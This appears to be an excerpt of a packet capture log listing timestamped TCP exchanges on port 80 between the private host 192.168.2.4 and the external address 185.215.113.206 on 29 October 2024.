Oct 29, 2024 04:52:29.906713009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906723976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906734943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906745911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906757116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.906769991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906797886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.906816006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907008886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907021046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907062054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907083035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907087088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907099009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907109976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907119989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907130957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907135010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907144070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907156944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907219887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907588959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907628059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907660007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907682896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907691002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907701969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907713890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907723904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907735109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.907738924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907757998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907757998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907797098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.907798052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908325911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908337116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908358097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908369064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908379078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908385038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908390999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908402920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908405066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908415079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908421993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908444881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908473015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908814907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908826113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908835888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908878088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908878088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.908970118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908984900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908993006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.908998013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909003973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909014940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909019947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909025908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909035921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909046888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909058094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909065008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909084082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909089088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909105062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909107924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909123898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909142971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909223080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909785032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909796000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909806967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909833908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909842014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909846067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909857988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909863949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909872055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.909884930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.909908056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.023304939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023333073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023344994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023459911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.023471117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023483038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023494005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023504972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023518085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023528099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.023547888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.023578882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.023809910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023821115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.023865938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024024010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024034977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024044037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024054050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024065018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024076939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024080038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024086952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024101973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024136066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024136066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024523020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024533987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024544001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024554968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024564981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024574995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024584055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024585962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024596930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024602890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024609089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024621010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.024621964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024643898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.024686098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025312901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025353909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025377035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025409937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025434971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025469065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025490999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025513887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025542974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025576115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025594950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025614977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025645018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025679111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025700092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025719881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025749922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025787115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.025808096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025830984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.025989056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026021957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026046038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026066065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026096106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026129961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026151896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026180983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026206017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026240110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026261091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026287079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026313066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026345015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026365995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026391983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026416063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026451111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026470900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026495934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026633024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026667118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026684999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026705980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026737928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026774883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026799917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026819944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026850939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026884079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.026904106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026930094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.026958942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027009964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027070999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027106047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027127028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027147055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027177095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027210951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027231932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027262926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027283907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027343035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027359962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027394056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027414083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027445078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027466059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027498960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.027518988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.027548075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.065983057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.066135883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.066174030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.066222906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140479088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140573025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140592098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140624046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140678883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140713930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140734911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140767097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140788078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140821934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140844107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140877008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140896082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140928984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.140948057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140981913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.140999079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141032934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141053915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141097069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141117096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141149998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141170025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141187906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141221046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141268969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141288042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141323090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141343117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141366005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141392946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141427040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141453028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141486883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141505003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141534090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141552925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141585112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141607046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141643047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141661882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141684055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141730070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141763926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141783953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141815901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141834021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141868114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141887903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141921997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.141937971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141973972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.141993046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142013073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142041922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142076015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142096996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142126083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142148018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142184973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142205000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142230988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142379045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142433882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142528057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142563105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142584085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142602921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142633915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142667055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142688036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142718077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142739058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142772913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142793894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142822027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142844915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142878056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142899036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142925024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.142951012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.142985106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143006086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143028021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143059015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143107891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143311024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143362999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143449068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143484116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143512011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143546104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143564939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143587112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143615961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143649101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143671036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143701077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143723011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143757105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143775940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143805981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143829107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143884897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.143938065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143970013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.143990040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144011974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144041061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144074917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144094944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144115925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144145966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144180059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144201040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144222975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144251108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144284964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144304991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144334078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144359112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144412041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144495010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144526005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144546032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144568920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144597054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144630909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144649982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144680977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144704103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144731998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.144751072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.144778013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.224994898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.225043058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.225064039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.225092888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:30.225135088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:30.225207090 CET	49760	80	192.168.2.4	185.215.113.206
